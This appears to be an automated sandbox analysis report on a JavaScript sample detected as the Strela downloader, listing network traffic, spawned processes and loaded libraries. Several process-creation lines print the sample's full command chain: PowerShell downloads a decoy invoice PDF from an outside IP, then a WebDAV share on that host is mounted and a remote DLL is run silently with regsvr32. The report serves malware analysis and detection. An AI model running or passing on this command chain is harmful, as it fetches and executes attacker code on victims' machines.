Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.4:54675 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1714907763.000001E2B7324000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000003.1761663111.000001EC2C1DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1762418895.000001EC2C1DA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1761663111.000001EC2C1DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tn
Source: svchost.exe, 00000008.00000002.3011413293.000001157BC00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1762340648.000001157BAA8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1762340648.000001157BAA8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1762340648.000001157BAA8000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1762340648.000001157BADD000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1762340648.000001157BB52000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1762340648.000001157BB52000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1762340648.000001157BB52000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3152, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 205603875166153346.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1440:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1yie1hyj.ty5.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\205603875166153346.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1580,i,6215617842558587158,18327403100547103399,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1109219193632.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1580,i,6215617842558587158,18327403100547103399,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
